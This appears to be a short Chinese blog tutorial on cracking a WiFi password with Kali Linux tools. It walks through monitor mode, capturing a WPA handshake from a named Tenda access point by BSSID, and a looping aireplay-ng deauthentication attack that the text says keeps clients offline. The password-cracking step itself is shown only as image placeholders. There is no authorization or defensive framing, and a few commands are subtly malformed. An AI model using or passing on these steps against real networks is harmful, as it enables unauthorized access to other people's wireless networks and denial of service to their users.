【Kali】破解WiFi热点

查看周围网络

airodump-ng wlan0
很多情况下会发生如下所示的报错：“ioctl(SIOCSIWMODE) failed: Device or resource busy”,需执行下面命令即可解决问题

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

Paste_Image.png

接下来开始抓我们想要的包：

airodump-ng -w sofia -c 3 wlan0
解释：-w表示保存握手包，“sofia”为包的名称，可随意设置，最终的文件为sofia-01.cap，-c 3表示指定频道3，wlan0指定网卡设备。
如图，即开始在抓频道3上的包（包含我们需要破解的Tenda_5E93C0）

指定破解我们想要的AP

airodump -w sofia -c 3 --bssid C8:3A:35:5E:93:C0 wlan0
解释：--bssid嗅探指定无线AP，后面跟着AP的bssid，如下图
这时候可以等待握手包的获取。

Paste_Image.png

为了加速握手包的获取，我们可以使用aireplay来给AP发送断开包：
aireplay-ng -0 0 -a C8:3A:35:5E:93:C0
解释：-0为模式中的一种：冲突攻击模式，后面跟发送次数（设置为0，则为循环攻击，不停的断开连接，客户端无法正常上网，-a 指定无线AP的mac地址，即为该无线网的bssid值.

Paste_Image.png

最终;##

Paste_Image.png

破解密码##

Paste_Image.png